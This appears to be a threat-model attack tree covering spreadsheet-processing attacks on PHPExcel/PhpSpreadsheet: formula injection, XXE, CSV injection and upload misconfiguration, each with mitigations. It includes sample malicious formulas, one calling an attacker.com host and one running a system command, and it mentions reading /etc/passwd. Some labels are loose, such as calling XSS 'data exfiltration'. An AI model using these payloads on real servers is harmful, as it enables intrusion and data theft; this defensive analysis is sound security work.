Objective: To achieve Remote Code Execution (RCE) or Information Disclosure on the server hosting the application using PHPExcel/PhpSpreadsheet, by exploiting vulnerabilities in how the library processes spreadsheet files.
Attacker's Goal: RCE or Information Disclosure via PHPExcel
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Exploit PHPExcel Vulnerabilities Direct File Access (Unlikely with proper config)
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Vulnerability in File Parsing Formula Injection [HIGH RISK] Read/Write Arbitrary Files (if misconfigured) [CRITICAL]
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XML Parsing CSV Parsing RCE (via PHP)
[HIGH RISK] [HIGH RISK] [CRITICAL]
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XXE (if XML) DoS DoS Data Exfil.
[CRITICAL] [HIGH RISK]
Attack Tree Path: Formula Injection [HIGH RISK] [CRITICAL]
* **Description:** Attackers inject malicious code into spreadsheet cells using formulas. If PHPExcel is configured to evaluate formulas, this code can be executed on the server.
* **Attack Vectors:**
* **Direct PHP Code Execution:** Injecting PHP code directly into formulas, often leveraging functions that allow interaction with the system or external resources. Examples (conceptual, as specific functions may be disabled or behave differently):
* `=WEBSERVICE("http://attacker.com/evil.php")` (If `WEBSERVICE` is enabled)
* `=CALL("system","whoami")` (If `CALL` is enabled and allows system command execution)
* Chaining multiple formulas to achieve a desired outcome, even if individual functions seem harmless.
* **Exploiting Enabled Functions:** Abusing seemingly benign functions that, in specific contexts or combinations, can lead to code execution. This often involves finding ways to interact with the filesystem or external resources.
* **Obfuscation:** Attackers can use various techniques to obfuscate their malicious formulas, making them harder to detect.
* **Impact:** Remote Code Execution (RCE) [CRITICAL], leading to complete server compromise.
* **Mitigation:**
* **Disable Formula Evaluation:** The most effective mitigation. Use `$reader->setReadDataOnly(true);` in PhpSpreadsheet.
* **Function Blacklisting/Whitelisting:** If formula evaluation is *required*, strictly control which functions are allowed.
* **Input Validation (Indirect):** Validate the *context* in which the spreadsheet is used, checking for expected data types and structures.
Attack Tree Path: XML Parsing [HIGH RISK]
* **Description:** Vulnerabilities in how PHPExcel parses XML-based spreadsheet formats (like XLSX). The primary concern is XML External Entity (XXE) attacks.
* **Attack Vectors:**
* **XXE (if XML) [CRITICAL]:**
* **Description:** Attackers craft malicious XLSX files containing XML External Entities. If the XML parser is misconfigured (external entities are enabled), these entities can be used to:
* **Read Local Files:** Access sensitive files on the server (e.g., `/etc/passwd`, configuration files).
* **Server-Side Request Forgery (SSRF):** Force the server to make requests to internal or external systems, potentially accessing internal services or causing denial of service.
* **Denial of Service (DoS):** Create deeply nested entities or reference large external resources, consuming server resources.
* **Exploitation Methods:**
* **Direct Entity References:** Defining entities that directly reference local files or URLs.
* **Parameter Entities:** Using parameter entities within DTDs for more complex attacks.
* **Out-of-Band (OOB) XXE:** Exfiltrating data through external channels (e.g., DNS requests) if direct output is not available.
* **Impact:** Information Disclosure, SSRF, DoS, and potentially RCE (through SSRF).
* **Mitigation:**
* **Disable External Entities:** `libxml_disable_entity_loader(true);` *before* loading any XML-based spreadsheet. This is the primary defense.
* **Disable DTD Processing:** If DTDs are not needed, disable them.
* **WAF:** A Web Application Firewall can help detect and block some XXE attempts.
Attack Tree Path: CSV Parsing [HIGH RISK]
* **Description:** While CSV parsing itself within PHPExcel might not lead to direct RCE, the *way the extracted data is used* presents a significant risk, primarily through CSV injection leading to other vulnerabilities.
* **Attack Vectors:**
* **Data Exfiltration (leading to XSS):** If the CSV data is later displayed in a web page *without proper sanitization and output encoding*, attackers can inject malicious HTML or JavaScript code. This is technically a Cross-Site Scripting (XSS) vulnerability, but it originates from the CSV data.
* **DoS:** Malformed or excessively large CSV files can cause resource exhaustion.
* **Impact:** Primarily XSS (through data exfiltration) and DoS.
* **Mitigation:**
* **Output Encoding:** *Always* encode data extracted from CSV files before displaying it in a web page. Use appropriate encoding functions for the context (e.g., HTML encoding, JavaScript encoding).
* **Input Validation (Indirect):** Validate the *structure* of the CSV data if possible, checking for expected data types and lengths.
* **Content Security Policy (CSP):** A strong CSP can help mitigate the impact of XSS attacks.
Attack Tree Path: Read/Write Arbitrary Files (if misconfigured) [CRITICAL]
* **Description:** If the application is misconfigured, allowing direct access to uploaded files, an attacker can bypass PHPExcel entirely.
* **Attack Vectors:**
* **Direct PHP File Upload:** Uploading a `.php` file containing malicious code directly to a web-accessible directory.
* **Other Malicious File Types:** Uploading other file types that can be executed or interpreted by the server (e.g., `.htaccess` files to modify server configuration).
* **Impact:** Remote Code Execution (RCE), complete server compromise.
* **Mitigation:**
* **Store Uploaded Files Outside the Webroot:** This is the most crucial step.
* **Use Random Filenames:** Generate unique, random filenames for uploaded files to prevent overwriting existing files and to make it harder for attackers to guess filenames.
* **Access Files Through a Script:** Use a script that performs authentication, authorization, and validation before serving the file content. This script acts as a gatekeeper.
* **Restrict File Extensions:** Use a whitelist approach to allow only specific, safe file extensions.
* **Web Server Configuration:** Configure the web server (e.g., Apache, Nginx) to prevent direct access to the upload directory.